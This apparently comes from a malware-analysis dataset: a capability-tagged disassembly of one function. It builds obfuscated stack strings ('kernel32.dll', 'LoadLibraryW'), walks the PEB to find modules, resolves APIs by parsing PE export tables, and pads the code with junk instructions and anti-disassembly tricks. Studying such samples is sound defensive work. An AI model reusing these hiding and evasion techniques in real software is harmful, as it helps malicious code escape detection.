Function at 0x4067ae
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
inc eax
add dword [eax], eax
pop ecx
push esi
xor esi, 0x14a52
or esi, 0x8496
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push ecx
sub ecx, 0xd8c3
pop ecx
push ecx
xor ecx, 0x9501
or ecx, 0x3ff8
pop ecx
push esi
xor esi, 0xb0fc
jmp 0x40533c
jmp 0x405345
or esi, 0xe1ad
pop esi
cmp dword [ebp - 0x14d4], 0
jne 0x405364
mov dword [ebp - 0x2e0], 0
jmp 0x405620
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edi
push ebx
add esp, 4
jmp 0x405383
jmp 0x40538b
xor edi, 0x14a05
pop edi
push edx
and edx, 0x440d
xor edx, 0xebd2
pop edx
push eax
or eax, 0x16da1
pop eax
cmp dword [ebp - 0xc20], 0
jne 0x4053c0
mov dword [ebp - 0x2e0], 0
jmp 0x405620
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push edx
and edx, 0xe7a2
jmp 0x4053d9
add edx, 0xe019
and edx, 0x12e6c
pop edx
push edx
push eax
add esp, 4
add edx, 0x5776
sub edx, 0x9541
add edx, 0xa516
pop edx
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push esi
push ecx
add esp, 4
or esi, 0xfe10
and esi, 0x1536f
xor esi, 0xb8bd
add esi, 0xde96
pop esi
push ecx
push ebx
add esp, 4
jmp 0x405456
or ecx, 0xab7d
pop ecx
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push edi
sub edi, 0x114da
and edi, 0x17d07
xor edi, 0x10973
pop edi
push eax
push eax
add esp, 4
or eax, 0x79c4
xor eax, 0x8283
add eax, 0x1b1d
jmp 0x4054e8
pop eax
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x40550c
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x40556f
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x40542b
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x40542b
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x405559
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x405563
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x4055b8
push ecx
jmp 0x40557f
sub ecx, 0xe1c8
add ecx, 0x15f03
or ecx, 0x1028f
pop ecx
push esi
push edi
add esp, 4
sub esi, 0xaec4
pop esi
push ebx
push esi
add esp, 4
or ebx, 0x102ae
pop ebx
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x405620
push ecx
push eax
add esp, 4
or ecx, 0x52b
xor ecx, 0x153d8
pop ecx
push esi
push ebx
add esp, 4
xor esi, 0xf2cf
pop esi
push esi
xor esi, 0x36fc
sub esi, 0xed19
and esi, 0x2fbf
pop esi
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x405616
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x4053cc
mov dword [ebp - 0x2e0], 0
push edi
and edi, 0x17b9d
pop edi
push edi
push edx
add esp, 4
or edi, 0x59dd
call 0x405642
add byte [edi], bh
inc esi
inc ebx
dec esp
dec esi
dec esi
inc ebx
xor eax, 0x4c4834e
and edi, 0x262
xor edi, 0xe974
pop edi
cmp dword [ebp - 0x2e0], 0
jne 0x405f6b
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ecx
push ebx
add esp, 4
jmp 0x405704
xor ecx, 0x144fc
add ecx, 0x8c88
or ecx, 0x4a
pop ecx
push edx
jmp 0x40571d
and edx, 0x3a93
xor edx, 0x86a4
pop edx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push ebx
call 0x4057bd
add byte [ebx], dh
cmp dword [ebp + 0x49], ecx
xor eax, 0x474a3c3c
dec esp
add esp, 4
or ebx, 0x15744
and ebx, 0x8fb3
call 0x4057da
add byte [ebp + 0x44], al
dec edx
cmp eax, 0x3f39343c
add esp, 4
pop ebx
cmp dword [ebp - 0x14dc], 0
jne 0x4057f6
mov dword [ebp - 0x6ec], 0
jmp 0x405ab2
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push ebx
add ebx, 0xe2c3
call 0x40581e
add byte [esi + 0x4f], cl
push eax
cmp eax, 0x493b4541
aaa
add esp, 4
call 0x40582e
add byte [eax + 0x50], al
dec ebx
inc edx
inc esi
dec esi
cmp eax, 0x5b04c483
push ebx
xor ebx, 0x1629b
pop ebx
cmp dword [ebp - 0xc2c], 0
jne 0x405852
mov dword [ebp - 0x6ec], 0
jmp 0x405ab2
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push edx
add edx, 0x8bf6
add edx, 0x6dff
call 0x40587b
add byte [ebp + 0x49], cl
dec edi
dec ebp
cmp edi, dword ds:[edx + eax*2]
dec ebp
aaa
add esp, 4
call 0x40588c
add byte [edi], bh
dec eax
cmp cl, byte [edi + 0x32]
dec eax
inc ebp
inc ebx
add esp, 4
pop edx
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push ebx
push edx
add esp, 4
sub ebx, 0x69d
pop ebx
push ecx
call 0x4058d7
add byte [edx], bh
dec esi
dec ecx
dec ebx
cmp dword [eax + 0x47], ecx
add esp, 4
pop ecx
push ecx
push edi
add esp, 4
xor ecx, 0x132fc
pop ecx
push ebx
or ebx, 0x628f
pop ebx
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push ecx
sub ecx, 0x58da
jmp 0x405957
add ecx, 0x35dd
pop ecx
push esi
push edi
add esp, 4
and esi, 0x23bd
jmp 0x405972
jmp 0x40597a
pop esi
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x40599e
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x405a01
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x4058bd
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x4058bd
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x4059eb
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x4059f5
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x405a4a
push eax
push ecx
add esp, 4
add eax, 0x43b2
pop eax
push eax
push esi
add esp, 4
xor eax, 0x179da
xor eax, 0x14af3
add eax, 0x8112
pop eax
push esi
sub esi, 0xc0b
add esi, 0x17036
pop esi
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x405ab2
push eax
push esi
add esp, 4
sub eax, 0x11f54
pop eax
push edx
push eax
add esp, 4
call 0x405a6a
add byte [edx], dh
dec edx
inc edi
inc ebp
cmp cl, byte [eax + 0x4d]
cmp al, byte [ebx + eax*4 - 0x3c]
add al, 0x81
retf 0x1e79
push eax
push ebx
add esp, 4
xor eax, 0x15ae7
call 0x405acc
add byte [edi + 0x46], al
inc ecx
dec ebp
cmp eax, 0x383b3d49
add esp, 4
sub eax, 0x4f21
add eax, 0x46f3
pop eax
push ecx
add ecx, 0x2095
pop ecx
cmp dword [ebp - 0x6ec], 0
jne 0x405b2e
push esi
xor esi, 0x14632
or esi, 0x15830
pop esi
push ecx
jmp 0x405b03
pop ecx
push edi
jmp 0x405b0c
add edi, 0x15b33
xor edi, 0x5f9f
sub edi, 0x28a3
pop edi
mov dword [ebp - 0x738], 0
jmp 0x406655
push esi
push edi
add esp, 4
sub esi, 0x7e0c
call 0x405b45
add byte [ebx + eax*2], bh
push eax
inc esi
dec eax
inc ebp
add esp, 4
call 0x405b56
add byte [ecx + 0x3a], cl
dec esp
dec edx
dec edx
dec eax
push eax
add esp, 4
xor esi, 0x166e9
pop esi
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x405b9f
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x405e90
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x405bc7
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x405e90
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x405bf9
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x405e90
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x405c1e
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x405e90
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x405c78
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x405e84
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x405ce8
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x405d9a
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x405d9a
push edi
push eax
add esp, 4
add edi, 0xd94a
sub edi, 0x8cf
add edi, 0xfa6a
pop edi
push edx
and edx, 0x848b
add edx, 0x609c
and edx, 0xec3f
xor edx, 0x11d0b
pop edx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x405d8c
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x405d93
jmp 0x405cd9
jmp 0x405d9a
push edx
or edx, 0x99da
add edx, 0xbec8
pop edx
push ebx
or ebx, 0x150ce
xor ebx, 0xb708
xor ebx, 0x9a90
call 0x405dc8
add byte [edx], dh
xor edi, dword [edi]
aas
xor esi, dword [edi + edi]
add esp, 4
pop ebx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x405df9
mov dword [ebp - 0xc30], 0
jmp 0x405e68
push ecx
push edx
add esp, 4
xor ecx, 0xf884
or ecx, 0xcc00
pop ecx
push ebx
sub ebx, 0x1174
add ebx, 0x12c62
sub ebx, 0x48b3
pop ebx
push ebx
push eax
add esp, 4
xor ebx, 0x121c4
pop ebx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x405e5e
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x405e68
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x405e7f
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x405e90
jmp 0x405c69
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x405f6b
push edi
push edx
add esp, 4
or edi, 0x8348
pop edi
push eax
add eax, 0x5249
sub eax, 0x12a28
and eax, 0x8c69
add eax, 0x1554a
pop eax
push ebx
push eax
add esp, 4
xor ebx, 0x1687
pop ebx
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push edx
and edx, 0x12a19
pop edx
push ecx
and ecx, 0x118d
jmp 0x405ef2
pop ecx
push eax
push ebx
add esp, 4
or eax, 0x12fc3
add eax, 0x129e1
pop eax
push eax
or eax, 0x11ec4
pop eax
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x405f6b
push edx
push esi
add esp, 4
or edx, 0x1868f
add edx, 0x15b7c
sub edx, 0x46bd
pop edx
push ecx
xor ecx, 0x15c25
xor ecx, 0x129cf
and ecx, 0x33d6
xor ecx, 0x13ed8
pop ecx
mov dword [ebp - 0x738], 0
jmp 0x406655
push esi
sub esi, 0x16cb9
add esi, 0x32d4
pop esi
push esi
xor esi, 0x9b13
pop esi
push ebx
push esi
add esp, 4
call 0x405f93
add byte [ecx + 0x49], al
cmp al, 0x34
inc ebx
dec ecx
inc ebp
add esp, 4
and ebx, 0xdf54
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push eax
sub eax, 0x37a1
pop eax
push edx
call 0x405fda
add byte [edi + 0x3d], al
xor al, 0x34
cmp byte [eax], bh
inc ebx
add esp, 4
sub edx, 0x10319
call 0x405ff2
add byte [0x41403c49], bh
dec eax
inc esi
inc esp
inc ebx
add esp, 4
pop edx
cmp dword [ebp - 0x14f4], 0
jne 0x40600e
mov dword [ebp - 0x2e0], 0
jmp 0x4062b5
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push edx
call 0x406030
add byte [ebx + 0x38], cl
aas
dec ecx
dec esi
dec ecx
xor eax, 0xc4834949
add al, 0x5a
push edi
push ecx
add esp, 4
sub edi, 0x156a
and edi, 0x17d81
sub edi, 0x21b5
xor edi, 0xffdc
pop edi
cmp dword [ebp - 0xc3c], 0
jne 0x40606a
mov dword [ebp - 0x2e0], 0
jmp 0x4062b5
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push ebx
and ebx, 0x17150
or ebx, 0x237f
call 0x406092
add byte [ebp + 0x46], al
inc ecx
inc esp
inc edx
inc eax
dec edx
dec ebp
dec ebp
add esp, 4
call 0x4060a4
add byte [eax + 0x3c], al
dec ecx
xor eax, dword [ebx + 0x3b]
inc esi
dec ebp
inc esi
add esp, 4
pop ebx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push ecx
push eax
add esp, 4
and ecx, 0x137d
xor ecx, 0x17d9b
sub ecx, 0xee6b
and ecx, 0x13acf
pop ecx
push edx
push eax
add esp, 4
and edx, 0xc5b4
pop edx
push eax
sub eax, 0x18524
pop eax
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push edi
and edi, 0x430f
sub edi, 0xdae3
or edi, 0x14546
and edi, 0x14e12
pop edi
push ecx
push edi
add esp, 4
xor ecx, 0x12a5a
jmp 0x406186
or ecx, 0x6475
pop ecx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x4061aa
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x406204
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x4060d2
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x4060d2
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x4061ee
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x4061f8
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x40624d
push edi
or edi, 0xef4c
and edi, 0x5eff
xor edi, 0x70e2
pop edi
push edi
push eax
add esp, 4
or edi, 0x7f10
and edi, 0x472c
pop edi
push edx
push edi
add esp, 4
sub edx, 0xe0fb
pop edx
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x4062b5
push esi
push ecx
add esp, 4
sub esi, 0x1594b
pop esi
push eax
add eax, 0x102d4
pop eax
push edi
or edi, 0x3385
pop edi
push ebx
and ebx, 0x24fe
and ebx, 0x819e
jmp 0x40627e
pop ebx
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x4062ab
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x406076
mov dword [ebp - 0x2e0], 0
push edi
push edi
add esp, 4
jmp 0x4062c3
pop edi
push ebx
xor ebx, 0x2c9b
xor ebx, 0x57f1
jmp 0x4062da
pop ebx
push ebx
push edi
add esp, 4
sub ebx, 0x115c4
pop ebx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push edx
jmp 0x4062ff
pop edx
push esi
call 0x406310
add byte [eax], bh
dec edx
xor al, 0x45
dec esp
inc ecx
cmp byte [eax - 0x7d], cl
les eax, [ebx + ebp*8]
add al, 0x32
inc esp
inc eax
inc ebp
add esi, 0x17f56
pop esi
push eax
and eax, 0x4364
pop eax
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x406358
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x406649
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x406380
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x406649
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x4063b2
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x406649
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x4063d7
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x406649
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x406431
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x40663d
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x4064a1
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x406553
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x406553
push esi
sub esi, 0x320f
pop esi
push edx
push eax
add esp, 4
or edx, 0x649d
pop edx
push esi
call 0x4064f0
add byte [edx + 0x47], cl
xor dh, byte [ebx + eax*2]
dec esp
dec ebp
add esp, 4
or esi, 0x4ee
add esi, 0x7105
pop esi
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x406545
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x40654c
jmp 0x406492
jmp 0x406553
push edi
jmp 0x406559
sub edi, 0x17b3f
jmp 0x406567
pop edi
push edx
push esi
add esp, 4
sub edx, 0x48c2
pop edx
push edi
call 0x406581
add byte [ebp + 0x4b], cl
dec ecx
dec esp
cmp bh, byte [ebx + eax*4]
les eax, [edi + ebx*2]
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x4065b2
mov dword [ebp - 0xc40], 0
jmp 0x406621
push edx
or edx, 0xc958
or edx, 0x47f9
or edx, 0x10634
and edx, 0x14440
pop edx
push edi
push ecx
add esp, 4
xor edi, 0x164b2
pop edi
push edx
push edx
add esp, 4
and edx, 0x180eb
pop edx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x406617
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x406621
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x406638
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x406649
jmp 0x406422
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push edx
call 0x406665
add byte [edx], dh
cmp byte [ebp + edi + 0x3f], cl
cmp al, 0x49
cmp eax, dword [ecx - 0x7d]
les eax, [edx + ebx*2]
push edx
push eax
add esp, 4
add edx, 0x7c45
xor edx, 0x43e8
and edx, 0xd8cf
add edx, 0x84de
pop edx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push ecx
call 0x4066a6
add byte [esi + ecx*2 + 0x3b], al
xor eax, dword [edx + 0x3e]
dec esi
cmp cl, byte [ebx - 0x7d]
les eax, [ecx + eax*4]
leave
mov cl, 0x38
add byte [eax], al
add ecx, 0x871f
call 0x4066c4
add byte [edx], dh
xor eax, 0x453a3e3e
cmp al, 0x4f
dec esi
add esp, 4
pop ecx
cmp dword [ebp - 0x3cc], 0
je 0x4066da
cmp dword [ebp - 0xa5c], 0
jne 0x406720
push eax
add eax, 0x14c34
pop eax
push eax
or eax, 0xdee0
xor eax, 0xb6af
xor eax, 0x17635
jmp 0x4066fb
pop eax
push ebx
sub ebx, 0x3b00
pop ebx
push esi
sub esi, 0x153bc
pop esi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push eax
add eax, 0x11565
xor eax, 0x9624
sub eax, 0x15f64
sub eax, 0x12dd2
pop eax
push edi
push edx
add esp, 4
xor edi, 0x2c58
or edi, 0x275c
xor edi, 0x183f1
pop edi
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push ebx
push edi
add esp, 4
